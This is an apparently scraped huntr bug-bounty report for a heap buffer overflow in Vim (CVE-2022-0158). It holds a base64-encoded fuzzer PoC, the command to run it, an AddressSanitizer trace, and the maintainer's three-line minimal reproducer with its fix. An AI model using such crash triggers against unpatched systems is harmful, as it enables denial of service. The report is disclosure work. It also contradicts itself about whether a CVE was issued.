

✓ Valid

## Description

## Proof of Concept

ZGVmIEZpcnN0RnVuY3Rpb24oKQogIGRlZiBTZWVnbmRGdW5vbmUKJCAgCiAgIGVuZGRlZiBjb250IGRlZgojIEN/////bGUgYWxsZWZ8QkJKQgplbmRkZWYKIyBDb21waWxlIGFsbCBmdW5jdGlbnbnN0IGRlZGVmY29tcGlsZQo=

```
~/fuzzing/vim/fuzz/bin/vim -u NONE -X -Z -e -s -S ./poc -c :qa!  
=====
```

==836524==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000000000: READ of size 5 at 0x602000000000 thread T0

```
#0 0x4306f8 in strlen (/home/aidai/fuzzing/vim/fuzz/bin/vim+0x4306f8)  
#1 0xc444a6 (/home/aidai/fuzzing/vim/fuzz/bin/vim+0xc444a6)  
#2 0xf7515a (/home/aidai/fuzzing/vim/fuzz/bin/vim+0xf7515a)  
#3 0xe1ba91 (/home/aidai/fuzzing/vim/fuzz/bin/vim+0xe1ba91)  
#4 0xe14ca4 (/home/aidai/fuzzing/vim/fuzz/bin/vim+0xe14ca4)  
#5 0xe14009 (/home/aidai/fuzzing/vim/fuzz/bin/vim+0xe14009)  
#6 0xe12ddf (/home/aidai/fuzzing/vim/fuzz/bin/vim+0xe12ddf)  
#7 0xe12043 (/home/aidai/fuzzing/vim/fuzz/bin/vim+0xe12043)  
#8 0xe0e863 (/home/aidai/fuzzing/vim/fuzz/bin/vim+0xe0e863)
```

Chat with us

Chat with us

```
#9 0xe0ffaa (/home/aidai/fuzzing/vim/fuzz/bin/vim+0xe0ffaa)
#10 0xdaf709 (/home/aidai/fuzzing/vim/fuzz/bin/vim+0xdaf709)
#11 0xdc68ed (/home/aidai/fuzzing/vim/fuzz/bin/vim+0xdc68ed)

#12 0xd92167 (/home/aidai/fuzzing/vim/fuzz/bin/vim+0xd92167)
#13 0x6e68fe (/home/aidai/fuzzing/vim/fuzz/bin/vim+0x6e68fe)
#14 0x6d9b41 (/home/aidai/fuzzing/vim/fuzz/bin/vim+0x6d9b41)
#15 0xb6680a (/home/aidai/fuzzing/vim/fuzz/bin/vim+0xb6680a)
#16 0xb6457f (/home/aidai/fuzzing/vim/fuzz/bin/vim+0xb6457f)
#17 0x6e68fe (/home/aidai/fuzzing/vim/fuzz/bin/vim+0x6e68fe)
#18 0x6d9b41 (/home/aidai/fuzzing/vim/fuzz/bin/vim+0x6d9b41)
#19 0xf60f43 (/home/aidai/fuzzing/vim/fuzz/bin/vim+0xf60f43)
#20 0xf5d76f (/home/aidai/fuzzing/vim/fuzz/bin/vim+0xf5d76f)
#21 0x7f0d3f15a0b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/
#22 0x41dacd (/home/aidai/fuzzing/vim/fuzz/bin/vim+0x41dacd)
```

0x6020000622f is located 1 bytes to the left of 4-byte region [0x60200000 allocated by thread T0 here:

```
#0 0x49620d in malloc (/home/aidai/fuzzing/vim/fuzz/bin/vim+0x49620d)
#1 0x4c5d15 (/home/aidai/fuzzing/vim/fuzz/bin/vim+0x4c5d15)
```

SUMMARY: AddressSanitizer: heap-buffer-overflow (/home/aidai/fuzzing/vim/fuzz/bin/vim+0x4c5d15) Shadow bytes around the buggy address:

```
0x0c047fff8bf0: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa
0x0c047fff8c00: fa fa fd fa fa fa 00 00 fa fa 00 00 fa fa 06 fa
0x0c047fff8c10: fa fa 00 01 fa fa fd fd fa fa fd fd fa fa 04 fa
0x0c047fff8c20: fa fa 00 04 fa fa fd fd fa fa 00 03 fa fa fd fd
0x0c047fff8c30: fa fa 00 03 fa fa fd fd fa fa 00 03 fa fa 00 06
=>0x0c047fff8c40: fa fa 00 05 fa[fa]04 fa fa fa fa fa fa fa fa fa
0x0c047fff8c50: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8c60: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8c70: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8c80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8c90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
```

Shadow byte legend (one shadow byte represents 8 application bytes):

```
Addressable:                00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone:          fa
Freed heap region:          fd
Stack left redzone:         f1
Stack mid redzone:          f2
Stack right redzone:        f3
```

Chat with us

Stack right redzone: t3  
Stack after **return**: f5  
Stack use after scope: f8

Global redzone: f9  
Global init order: f6  
Poisoned by user: f7  
Container overflow: fc  
Array cookie: ac  
Intra object redzone: bb  
ASan internal: fe  
Left alloca redzone: ca  
Right alloca redzone: cb  
Shadow gap: cc

==836524==ABORTING



## CVE

CVE-2022-0158

(Published)

## Vulnerability Type

CWE-122: Heap-based Buffer Overflow

## Severity

Medium (6.8)

## Visibility

Public

## Status

Fixed

## Found by



aidaip

@aidaip

unranked ▼

## Fixed by



Bram Moolenaar

@brammool

Chat with us



**maintainer**

This report was seen 584 times.

We are processing your report and will contact the **vim** team within 24 hours. a year ago

We have contacted a member of the **vim** team and are waiting to hear back a year ago

**aidaip** modified the report a year ago

**Bram Moolenaar** a year ago

**Maintainer**

I can reproduce the problem. There is a much simpler POC though:

```
def Func()  
$  
enddef
```

When reporting a problem, please, please minimize the POC to be able to pinpoint the cause of the problem and make it easy to create a regression test.

**Bram Moolenaar** validated this vulnerability a year ago

**aidaip** has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

**aidaip** a year ago

**Researcher**

sorry, I will minimize the poc in the future.

**Bram Moolenaar** marked this as fixed in 8.2 with commit 5f25c3 a year ago

**Bram Moolenaar** has been awarded the fix bounty ✓

This vulnerability will not receive a CVE ✗

**Bram Moolenaar** a year ago

**Chat with us**

Fixed in patch 8.2.4049



Sign in to join this conversation

2022 © 4l8sec

## huntr

[home](#)

[hacktivity](#)

[leaderboard](#)

[FAQ](#)

[contact us](#)

[terms](#)

[privacy policy](#)

## part of 4l8sec

[company](#)

[about](#)

[team](#)

Chat with us